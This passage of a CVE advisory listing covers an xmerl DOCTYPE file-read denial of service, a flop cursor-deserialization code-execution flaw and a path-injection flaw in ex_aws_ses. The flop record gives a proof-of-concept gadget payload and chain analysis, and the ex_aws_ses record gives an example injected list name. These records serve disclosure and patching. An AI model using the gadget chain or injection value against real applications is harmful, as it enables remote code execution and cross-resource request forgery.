                  "value": "**1. DOCTYPE handling.** `scan_doctype2/3` and `scan_doctype3/3` in `lib/xmerl/src/xmerl_scan.erl` call `fetch_DTD/2` once the `\u003c!DOCTYPE\u003e` declaration ends. `fetch_DTD/2` has no clause that skips the fetch when validation is off (that clause is commented out), so every system identifier reaches `fetch_and_parse/3`.\n\n**2. Default fetch.** `fetch_and_parse/3` calls the scanner\u0027s `fetch_fun`, which defaults to `fetch/2`. Its helper `fetch_URI/2` treats the identifier as a filename: a `file:` URI or an absolute path resolves to that local path, and a relative name resolves against `xmlbase`. Only `http:` identifiers are left unread.\n\n**3. Unbounded read.** The returned `{file, Path}` goes to `int_file_decl/3`, which calls `file:read_file/1` on the path and converts the result to a list. `file:read_file/1` reads until end of file, so a device such as `/dev/zero` never returns and the binary heap grows until the operating system kills the VM. The `allow_entities` default of `false` does not help: it only rejects `\u003c!ENTITY\u003e` declarations in `scan_markup_decl/2`, which runs after the file has been read."
                }
              ],
              "value": "1. DOCTYPE handling. scan_doctype2/3 and scan_doctype3/3 in lib/xmerl/src/xmerl_scan.erl call fetch_DTD/2 once the \u003c!DOCTYPE\u003e declaration ends. fetch_DTD/2 has no clause that skips the fetch when validation is off (that clause is commented out), so every system identifier reaches fetch_and_parse/3.\n\n2. Default fetch. fetch_and_parse/3 calls the scanner\u0027s fetch_fun, which defaults to fetch/2. Its helper fetch_URI/2 treats the identifier as a filename: a file: URI or an absolute path resolves to that local path, and a relative name resolves against xmlbase. Only http: identifiers are left unread.\n\n3. Unbounded read. The returned {file, Path} goes to int_file_decl/3, which calls file:read_file/1 on the path and converts the result to a list. file:read_file/1 reads until end of file, so a device such as /dev/zero never returns and the binary heap grows until the operating system kills the VM. The allow_entities default of false does not help: it only rejects \u003c!ENTITY\u003e declarations in scan_markup_decl/2, which runs after the file has been read."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-119443",
        "datePublished": "2026-11-24T15:02:12.313Z",
        "dateReserved": "2026-10-30T09:45:01.835Z",
        "dateUpdated": "2026-11-24T15:02:12.313Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-130411 (GCVE-0-2026-130411)

    Vulnerability from cvelistv5 – Published: 2026-11-24 14:58 – Updated: 2026-11-24 14:58
    VLAI
    Title
    Code execution through deserialization of pagination cursors in flop
    Summary
    Deserialization of Untrusted Data vulnerability in woylie flop allows a remote attacker to execute code on the server via a crafted pagination cursor. Flop.Cursor.decode/2 in lib/flop/cursor.ex decodes the after and before parameters with :erlang.binary_to_term/2 in :safe mode. Its check rejects functions, PIDs, ports and references, but it accepts maps, and therefore structs of any module. Flop passes the decoded values to Ecto as query parameters. A cursor value that nests an Ecto.Query.DynamicExpr struct with a DBConnection.Stream struct as its binding fails the Ecto cast. Ecto then inspects the value for the error message, the Inspect implementation enumerates the stream, and DBConnection calls the module, function and arguments in the :log option of the stream. This issue affects flop: from 0.8.0 before 0.26.7, from 0.27.0 before 0.27.3, from 0.28.0 before 0.28.1, and from 0.29.0 before 0.29.2.
    CWE
    • CWE-502 - Deserialization of Untrusted Data
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    woylie flop Affected: 0.8.0 , < 0.26.7 (semver)
    Affected: 0.27.0 , < 0.27.3 (semver)
    Affected: 0.28.0 , < 0.28.1 (semver)
    Affected: 0.29.0 , < 0.29.2 (semver)
        cpe:2.3:a:woylie:flop:*:*:*:*:*:*:*:*
    Create a notification for this product.
    woylie flop Affected: 4535794baa135c8cccca7bb1ada4b64c91afc81d , < * (git)
        cpe:2.3:a:woylie:flop:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-24 14:58
    Show details on NVD website

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "collectionURL": "https://repo.hex.pm",
              "cpes": [
                "cpe:2.3:a:woylie:flop:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.Flop.Cursor\u0027",
                "\u0027Elixir.Flop\u0027"
              ],
              "packageName": "flop",
              "packageURL": "pkg:hex/flop",
              "product": "flop",
              "programFiles": [
                "lib/flop/cursor.ex",
                "lib/flop.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.Flop.Cursor\u0027:decode/2"
                },
                {
                  "name": "\u0027Elixir.Flop.Cursor\u0027:\u0027decode!\u0027/2"
                },
                {
                  "name": "\u0027Elixir.Flop\u0027:validate_and_run/3"
                },
                {
                  "name": "\u0027Elixir.Flop\u0027:\u0027validate_and_run!\u0027/3"
                }
              ],
              "repo": "https://github.com/woylie/flop",
              "vendor": "woylie",
              "versions": [
                {
                  "lessThan": "0.26.7",
                  "status": "affected",
                  "version": "0.8.0",
                  "versionType": "semver"
                },
                {
                  "lessThan": "0.27.3",
                  "status": "affected",
                  "version": "0.27.0",
                  "versionType": "semver"
                },
                {
                  "lessThan": "0.28.1",
                  "status": "affected",
                  "version": "0.28.0",
                  "versionType": "semver"
                },
                {
                  "lessThan": "0.29.2",
                  "status": "affected",
                  "version": "0.29.0",
                  "versionType": "semver"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:woylie:flop:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.Flop.Cursor\u0027",
                "\u0027Elixir.Flop\u0027"
              ],
              "packageName": "woylie/flop",
              "packageURL": "pkg:github/woylie/flop",
              "product": "flop",
              "programFiles": [
                "lib/flop/cursor.ex",
                "lib/flop.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.Flop.Cursor\u0027:decode/2"
                },
                {
                  "name": "\u0027Elixir.Flop.Cursor\u0027:\u0027decode!\u0027/2"
                },
                {
                  "name": "\u0027Elixir.Flop\u0027:validate_and_run/3"
                },
                {
                  "name": "\u0027Elixir.Flop\u0027:\u0027validate_and_run!\u0027/3"
                }
              ],
              "repo": "https://github.com/woylie/flop",
              "vendor": "woylie",
              "versions": [
                {
                  "changes": [
                    {
                      "at": "6382b932ce85872b5dcce78e45731dc9ce3be438",
                      "status": "unaffected"
                    },
                    {
                      "at": "82e9399a9db6798bbb3bc976969e5aa0f3b0f7a7",
                      "status": "unaffected"
                    },
                    {
                      "at": "93fabace5c9cc419fc638d657828feec71b6a6ab",
                      "status": "unaffected"
                    },
                    {
                      "at": "bfd9ee23db39b9df6233d085606c19b27b586100",
                      "status": "unaffected"
                    }
                  ],
                  "lessThan": "*",
                  "status": "affected",
                  "version": "4535794baa135c8cccca7bb1ada4b64c91afc81d",
                  "versionType": "git"
                }
              ]
            }
          ],
          "configurations": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eThe application passes request parameters to Flop, for example with \u003ccode\u003eFlop.validate_and_run/3\u003c/code\u003e, and permits cursor-based pagination. Cursor-based pagination is permitted by default. The demonstrated call chain also needs \u003ccode\u003eecto\u003c/code\u003e and \u003ccode\u003edb_connection\u003c/code\u003e in the application, and uses an \u003ccode\u003eorder_by\u003c/code\u003e field of the Ecto type \u003ccode\u003e:naive_datetime\u003c/code\u003e.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "The application passes request parameters to Flop, for example with `Flop.validate_and_run/3`, and permits cursor-based pagination. Cursor-based pagination is permitted by default. The demonstrated call chain also needs `ecto` and `db_connection` in the application, and uses an `order_by` field of the Ecto type `:naive_datetime`."
                }
              ],
              "value": "The application passes request parameters to Flop, for example with Flop.validate_and_run/3, and permits cursor-based pagination. Cursor-based pagination is permitted by default. The demonstrated call chain also needs ecto and db_connection in the application, and uses an order_by field of the Ecto type :naive_datetime."
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:woylie:flop:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "0.26.7",
                      "versionStartIncluding": "0.8.0",
                      "vulnerable": true
                    },
                    {
                      "criteria": "cpe:2.3:a:woylie:flop:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "0.27.3",
                      "versionStartIncluding": "0.27.0",
                      "vulnerable": true
                    },
                    {
                      "criteria": "cpe:2.3:a:woylie:flop:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "0.28.1",
                      "versionStartIncluding": "0.28.0",
                      "vulnerable": true
                    },
                    {
                      "criteria": "cpe:2.3:a:woylie:flop:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "0.29.2",
                      "versionStartIncluding": "0.29.0",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Jonatan M\u00e4nnchen / EEF"
            },
            {
              "lang": "en",
              "type": "finder",
              "value": "Wojtek Mach"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "Wojtek Mach"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Jonatan M\u00e4nnchen / EEF"
            }
          ],
          "dateAssigned": "2026-11-24T09:07:22.000Z",
          "datePublic": "2026-11-24T14:58:38.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eDeserialization of Untrusted Data vulnerability in woylie flop allows a remote attacker to execute code on the server via a crafted pagination cursor.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eFlop.Cursor.decode/2\u003c/code\u003e in \u003ccode\u003elib/flop/cursor.ex\u003c/code\u003e decodes the \u003ccode\u003eafter\u003c/code\u003e and \u003ccode\u003ebefore\u003c/code\u003e parameters with \u003ccode\u003e:erlang.binary_to_term/2\u003c/code\u003e in \u003ccode\u003e:safe\u003c/code\u003e mode. Its check rejects functions, PIDs, ports and references, but it accepts maps, and therefore structs of any module. Flop passes the decoded values to Ecto as query parameters. A cursor value that nests an \u003ccode\u003eEcto.Query.DynamicExpr\u003c/code\u003e struct with a \u003ccode\u003eDBConnection.Stream\u003c/code\u003e struct as its \u003ccode\u003ebinding\u003c/code\u003e fails the Ecto cast. Ecto then inspects the value for the error message, the \u003ccode\u003eInspect\u003c/code\u003e implementation enumerates the stream, and \u003ccode\u003eDBConnection\u003c/code\u003e calls the module, function and arguments in the \u003ccode\u003e:log\u003c/code\u003e option of the stream.\u003c/p\u003e\n\u003cp\u003eThis issue affects flop: from 0.8.0 before 0.26.7, from 0.27.0 before 0.27.3, from 0.28.0 before 0.28.1, and from 0.29.0 before 0.29.2.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Deserialization of Untrusted Data vulnerability in woylie flop allows a remote attacker to execute code on the server via a crafted pagination cursor.\n\n`Flop.Cursor.decode/2` in `lib/flop/cursor.ex` decodes the `after` and `before` parameters with `:erlang.binary_to_term/2` in `:safe` mode. Its check rejects functions, PIDs, ports and references, but it accepts maps, and therefore structs of any module. Flop passes the decoded values to Ecto as query parameters. A cursor value that nests an `Ecto.Query.DynamicExpr` struct with a `DBConnection.Stream` struct as its `binding` fails the Ecto cast. Ecto then inspects the value for the error message, the `Inspect` implementation enumerates the stream, and `DBConnection` calls the module, function and arguments in the `:log` option of the stream.\n\nThis issue affects flop: from 0.8.0 before 0.26.7, from 0.27.0 before 0.27.3, from 0.28.0 before 0.28.1, and from 0.29.0 before 0.29.2."
                }
              ],
              "value": "Deserialization of Untrusted Data vulnerability in woylie flop allows a remote attacker to execute code on the server via a crafted pagination cursor.\n\nFlop.Cursor.decode/2 in lib/flop/cursor.ex decodes the after and before parameters with :erlang.binary_to_term/2 in :safe mode. Its check rejects functions, PIDs, ports and references, but it accepts maps, and therefore structs of any module. Flop passes the decoded values to Ecto as query parameters. A cursor value that nests an Ecto.Query.DynamicExpr struct with a DBConnection.Stream struct as its binding fails the Ecto cast. Ecto then inspects the value for the error message, the Inspect implementation enumerates the stream, and DBConnection calls the module, function and arguments in the :log option of the stream.\n\nThis issue affects flop: from 0.8.0 before 0.26.7, from 0.27.0 before 0.27.3, from 0.28.0 before 0.28.1, and from 0.29.0 before 0.29.2."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-586",
              "descriptions": [
                {
                  "lang": "en",
                  "supportingMedia": [
                    {
                      "base64": false,
                      "type": "text/html",
                      "value": "\u003cp\u003eAn attacker who can send a pagination cursor to an application can call an exported function of a loaded module with chosen arguments in the application\u0027s VM. The module, function and argument atoms must exist in the VM.\u003c/p\u003e"
                    },
                    {
                      "base64": false,
                      "type": "text/markdown",
                      "value": "An attacker who can send a pagination cursor to an application can call an exported function of a loaded module with chosen arguments in the application\u0027s VM. The module, function and argument atoms must exist in the VM."
                    }
                  ],
                  "value": "An attacker who can send a pagination cursor to an application can call an exported function of a loaded module with chosen arguments in the application\u0027s VM. The module, function and argument atoms must exist in the VM."
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "NETWORK",
                "baseScore": 9.2,
                "baseSeverity": "CRITICAL",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "HIGH",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-502",
                  "description": "CWE-502 Deserialization of Untrusted Data",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-24T14:58:39.861Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "name": "EEF CNA record for CVE-2026-130411",
              "tags": [
                "related",
                "third-party-advisory"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-130411.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-130411",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-130411"
            },
            {
              "name": "Introducing commit 4535794 in woylie/flop",
              "tags": [
                "related"
              ],
              "url": "https://github.com/woylie/flop/commit/4535794baa135c8cccca7bb1ada4b64c91afc81d"
            },
            {
              "name": "Fix commit 6382b93 in woylie/flop",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/woylie/flop/commit/6382b932ce85872b5dcce78e45731dc9ce3be438"
            },
            {
              "name": "Fix commit 82e9399 in woylie/flop",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/woylie/flop/commit/82e9399a9db6798bbb3bc976969e5aa0f3b0f7a7"
            },
            {
              "name": "Fix commit 93fabac in woylie/flop",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/woylie/flop/commit/93fabace5c9cc419fc638d657828feec71b6a6ab"
            },
            {
              "name": "Fix commit bfd9ee2 in woylie/flop",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/woylie/flop/commit/bfd9ee23db39b9df6233d085606c19b27b586100"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "Code execution through deserialization of pagination cursors in flop",
          "workarounds": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eSet the \u003ccode\u003epagination_types\u003c/code\u003e option so that it excludes \u003ccode\u003e:first\u003c/code\u003e and \u003ccode\u003e:last\u003c/code\u003e, for example \u003ccode\u003epagination_types: [:page, :offset]\u003c/code\u003e. A request with a crafted \u003ccode\u003eafter\u003c/code\u003e cursor then does not trigger the call. This disables cursor-based pagination.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Set the `pagination_types` option so that it excludes `:first` and `:last`, for example `pagination_types: [:page, :offset]`. A request with a crafted `after` cursor then does not trigger the call. This disables cursor-based pagination."
                }
              ],
              "value": "Set the pagination_types option so that it excludes :first and :last, for example pagination_types: [:page, :offset]. A request with a crafted after cursor then does not trigger the call. This disables cursor-based pagination."
            }
          ],
          "x_proofOfConcept": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003col\u003e\n\u003cli\u003eDefine an Ecto schema with \u003ccode\u003etimestamps/1\u003c/code\u003e and derive \u003ccode\u003eFlop.Schema\u003c/code\u003e with \u003ccode\u003esortable: [:inserted_at]\u003c/code\u003e and a default order on \u003ccode\u003e:inserted_at\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eBuild the map \u003ccode\u003e%{inserted_at: datetime}\u003c/code\u003e, where \u003ccode\u003edatetime\u003c/code\u003e is a \u003ccode\u003eDateTime\u003c/code\u003e struct whose \u003ccode\u003eyear\u003c/code\u003e field is \u003ccode\u003e%Ecto.Query.DynamicExpr{binding: %DBConnection.Stream{conn: %DBConnection{}, query: %Postgrex.Result{}, params: [], opts: [log: {:proc_lib, :init_p, [[], IO, :inspect, [:hi]]}]}}\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eEncode the map with \u003ccode\u003e:erlang.term_to_binary/1\u003c/code\u003e and \u003ccode\u003eBase.url_encode64/1\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eCall \u003ccode\u003eFlop.validate_and_run!(Post, %{\"after\" =\u0026gt; payload}, for: Post, repo: Repo)\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe call raises an \u003ccode\u003eEcto.Query.CastError\u003c/code\u003e. Before it raises, the process prints \u003ccode\u003e:hi\u003c/code\u003e, which shows that \u003ccode\u003eIO.inspect(:hi)\u003c/code\u003e ran.\u003c/li\u003e\n\u003c/ol\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "1. Define an Ecto schema with `timestamps/1` and derive `Flop.Schema` with `sortable: [:inserted_at]` and a default order on `:inserted_at`.\n2. Build the map `%{inserted_at: datetime}`, where `datetime` is a `DateTime` struct whose `year` field is `%Ecto.Query.DynamicExpr{binding: %DBConnection.Stream{conn: %DBConnection{}, query: %Postgrex.Result{}, params: [], opts: [log: {:proc_lib, :init_p, [[], IO, :inspect, [:hi]]}]}}`.\n3. Encode the map with `:erlang.term_to_binary/1` and `Base.url_encode64/1`.\n4. Call `Flop.validate_and_run!(Post, %{\"after\" =\u003e payload}, for: Post, repo: Repo)`.\n5. The call raises an `Ecto.Query.CastError`. Before it raises, the process prints `:hi`, which shows that `IO.inspect(:hi)` ran."
                }
              ],
              "value": "* Define an Ecto schema with timestamps/1 and derive Flop.Schema with sortable: [:inserted_at] and a default order on :inserted_at.\n* Build the map %{inserted_at: datetime}, where datetime is a DateTime struct whose year field is %Ecto.Query.DynamicExpr{binding: %DBConnection.Stream{conn: %DBConnection{}, query: %Postgrex.Result{}, params: [], opts: [log: {:proc_lib, :init_p, [[], IO, :inspect, [:hi]]}]}}.\n* Encode the map with :erlang.term_to_binary/1 and Base.url_encode64/1.\n* Call Flop.validate_and_run!(Post, %{\"after\" =\u003e payload}, for: Post, repo: Repo).\n* The call raises an Ecto.Query.CastError. Before it raises, the process prints :hi, which shows that IO.inspect(:hi) ran."
            }
          ],
          "x_technicalAnalysis": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003e\u003cstrong\u003e1. Cursor decoding\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eFlop.Cursor.decode/2\u003c/code\u003e decodes the Base64 value of the \u003ccode\u003eafter\u003c/code\u003e or \u003ccode\u003ebefore\u003c/code\u003e parameter and calls \u003ccode\u003e:erlang.binary_to_term/2\u003c/code\u003e with the \u003ccode\u003e:safe\u003c/code\u003e option. The private \u003ccode\u003esanitize/1\u003c/code\u003e function raises for functions, PIDs, ports and references. It accepts atoms, numbers, binaries, lists, tuples and maps. A struct is a map, so the decoder returns structs of any module whose atoms exist in the VM.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Type validation\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eFlop casts each cursor value against the Ecto type of its \u003ccode\u003eorder_by\u003c/code\u003e field. For a \u003ccode\u003e:naive_datetime\u003c/code\u003e field, the cast accepts a \u003ccode\u003eDateTime\u003c/code\u003e struct and does not check the type of the struct fields. A \u003ccode\u003eDateTime\u003c/code\u003e struct whose \u003ccode\u003eyear\u003c/code\u003e field holds another struct passes.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Query execution\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eFlop passes the value to Ecto as a pinned query parameter. \u003ccode\u003eEcto.Query.Planner.cast_param/3\u003c/code\u003e fails to cast the value and builds an \u003ccode\u003eEcto.Query.CastError\u003c/code\u003e, which inspects the value. \u003ccode\u003eInspect.NaiveDateTime.inspect/2\u003c/code\u003e raises on the non-integer \u003ccode\u003eyear\u003c/code\u003e, and the resulting \u003ccode\u003eInspect.Error\u003c/code\u003e inspects the function arguments, which include the nested struct.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e4. Gadget\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThe nested struct is an \u003ccode\u003eEcto.Query.DynamicExpr\u003c/code\u003e. Its \u003ccode\u003eInspect\u003c/code\u003e implementation calls \u003ccode\u003eEnum.map/2\u003c/code\u003e on the \u003ccode\u003ebinding\u003c/code\u003e field. The \u003ccode\u003ebinding\u003c/code\u003e field holds a \u003ccode\u003eDBConnection.Stream\u003c/code\u003e struct, and the \u003ccode\u003eEnumerable\u003c/code\u003e implementation of that struct runs \u003ccode\u003eDBConnection.reduce/3\u003c/code\u003e with the options from the struct. \u003ccode\u003eDBConnection.log/5\u003c/code\u003e applies the \u003ccode\u003e{module, function, arguments}\u003c/code\u003e tuple in the \u003ccode\u003e:log\u003c/code\u003e option with the log entry as the first argument. With \u003ccode\u003e{:proc_lib, :init_p, [[], module, function, arguments]}\u003c/code\u003e, \u003ccode\u003e:proc_lib.init_p/5\u003c/code\u003e applies the chosen module, function and arguments.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "**1. Cursor decoding**\n\n`Flop.Cursor.decode/2` decodes the Base64 value of the `after` or `before` parameter and calls `:erlang.binary_to_term/2` with the `:safe` option. The private `sanitize/1` function raises for functions, PIDs, ports and references. It accepts atoms, numbers, binaries, lists, tuples and maps. A struct is a map, so the decoder returns structs of any module whose atoms exist in the VM.\n\n**2. Type validation**\n\nFlop casts each cursor value against the Ecto type of its `order_by` field. For a `:naive_datetime` field, the cast accepts a `DateTime` struct and does not check the type of the struct fields. A `DateTime` struct whose `year` field holds another struct passes.\n\n**3. Query execution**\n\nFlop passes the value to Ecto as a pinned query parameter. `Ecto.Query.Planner.cast_param/3` fails to cast the value and builds an `Ecto.Query.CastError`, which inspects the value. `Inspect.NaiveDateTime.inspect/2` raises on the non-integer `year`, and the resulting `Inspect.Error` inspects the function arguments, which include the nested struct.\n\n**4. Gadget**\n\nThe nested struct is an `Ecto.Query.DynamicExpr`. Its `Inspect` implementation calls `Enum.map/2` on the `binding` field. The `binding` field holds a `DBConnection.Stream` struct, and the `Enumerable` implementation of that struct runs `DBConnection.reduce/3` with the options from the struct. `DBConnection.log/5` applies the `{module, function, arguments}` tuple in the `:log` option with the log entry as the first argument. With `{:proc_lib, :init_p, [[], module, function, arguments]}`, `:proc_lib.init_p/5` applies the chosen module, function and arguments."
                }
              ],
              "value": "1. Cursor decoding\n\nFlop.Cursor.decode/2 decodes the Base64 value of the after or before parameter and calls :erlang.binary_to_term/2 with the :safe option. The private sanitize/1 function raises for functions, PIDs, ports and references. It accepts atoms, numbers, binaries, lists, tuples and maps. A struct is a map, so the decoder returns structs of any module whose atoms exist in the VM.\n\n2. Type validation\n\nFlop casts each cursor value against the Ecto type of its order_by field. For a :naive_datetime field, the cast accepts a DateTime struct and does not check the type of the struct fields. A DateTime struct whose year field holds another struct passes.\n\n3. Query execution\n\nFlop passes the value to Ecto as a pinned query parameter. Ecto.Query.Planner.cast_param/3 fails to cast the value and builds an Ecto.Query.CastError, which inspects the value. Inspect.NaiveDateTime.inspect/2 raises on the non-integer year, and the resulting Inspect.Error inspects the function arguments, which include the nested struct.\n\n4. Gadget\n\nThe nested struct is an Ecto.Query.DynamicExpr. Its Inspect implementation calls Enum.map/2 on the binding field. The binding field holds a DBConnection.Stream struct, and the Enumerable implementation of that struct runs DBConnection.reduce/3 with the options from the struct. DBConnection.log/5 applies the {module, function, arguments} tuple in the :log option with the log entry as the first argument. With {:proc_lib, :init_p, [[], module, function, arguments]}, :proc_lib.init_p/5 applies the chosen module, function and arguments."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-130411",
        "datePublished": "2026-11-24T14:58:39.861Z",
        "dateReserved": "2026-11-17T03:24:01.805Z",
        "dateUpdated": "2026-11-24T14:58:39.861Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-65622 (GCVE-0-2026-65622)

    Vulnerability from cvelistv5 – Published: 2026-11-24 14:21 – Updated: 2026-11-24 14:21
    VLAI
    Title
    ex_aws_ses missing URI-encoding of list_name allows path injection into SES V2 request URLs
    Summary
    Improper Encoding or Escaping of Output vulnerability in ex-aws ex_aws_ses (ExAws.SES module) allows path injection into Amazon SES V2 request URLs. This vulnerability is associated with program file lib/ex_aws/ses.ex and program routines ExAws.SES.delete_contact_list/1, ExAws.SES.get_contact_list/1, ExAws.SES.update_contact_list/2, ExAws.SES.create_contact/3, ExAws.SES.get_contact/2, ExAws.SES.update_contact/3, ExAws.SES.delete_contact/2 and ExAws.SES.list_contacts/1. The V2 contact-list and contact functions interpolate the caller-supplied list_name into the request path without URI-encoding it, unlike the email address in the same functions which is passed through ExAws.Request.Url.uri_encode/1. An application that forwards untrusted input as a contact-list name lets an attacker embed /, .. or ? to escape the intended contact-lists/<name> path segment. A value such as x/../suppression/addresses/victim%40example.com makes a delete_contact_list/1 call arrive at the account-wide suppression list. The request is still signed with the application's own AWS credentials and sent to the configured SES host, so the impact is cross-resource request forgery inside the caller's own AWS account, not arbitrary SSRF. Applications that only use hardcoded or strictly validated list names are not affected. This issue affects ex_aws_ses: from 2.3.0 before 2.5.0.
    CWE
    • CWE-116 - Improper Encoding or Escaping of Output
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    ex-aws ex_aws_ses Affected: 2.3.0 , < 2.5.0 (semver)
        cpe:2.3:a:ex-aws:ex_aws_ses:*:*:*:*:*:*:*:*
    Create a notification for this product.
    ex-aws ex_aws_ses Affected: ac7f97fa93c82e30868634735649027b2b968607 , < 05c580a8d17da33535d55a45e4cd2430e88e62cf (git)
        cpe:2.3:a:ex-aws:ex_aws_ses:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-24 14:21
    Show details on NVD website

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "collectionURL": "https://repo.hex.pm",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws_ses:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.SES\u0027"
              ],
              "packageName": "ex_aws_ses",
              "packageURL": "pkg:hex/ex_aws_ses",
              "product": "ex_aws_ses",
              "programFiles": [
                "lib/ex_aws/ses.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.SES\u0027:delete_contact_list/1"
                },
                {
                  "name": "\u0027Elixir.ExAws.SES\u0027:get_contact_list/1"
                },
                {
                  "name": "\u0027Elixir.ExAws.SES\u0027:update_contact_list/2"
                },
                {
                  "name": "\u0027Elixir.ExAws.SES\u0027:create_contact/3"
                },
                {
                  "name": "\u0027Elixir.ExAws.SES\u0027:get_contact/2"
                },
                {
                  "name": "\u0027Elixir.ExAws.SES\u0027:update_contact/3"
                },
                {
                  "name": "\u0027Elixir.ExAws.SES\u0027:delete_contact/2"
                },
                {
                  "name": "\u0027Elixir.ExAws.SES\u0027:list_contacts/1"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws_ses",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "2.5.0",
                  "status": "affected",
                  "version": "2.3.0",
                  "versionType": "semver"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws_ses:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.SES\u0027"
              ],
              "packageName": "ex-aws/ex_aws_ses",
              "packageURL": "pkg:github/ex-aws/ex_aws_ses",
              "product": "ex_aws_ses",
              "programFiles": [
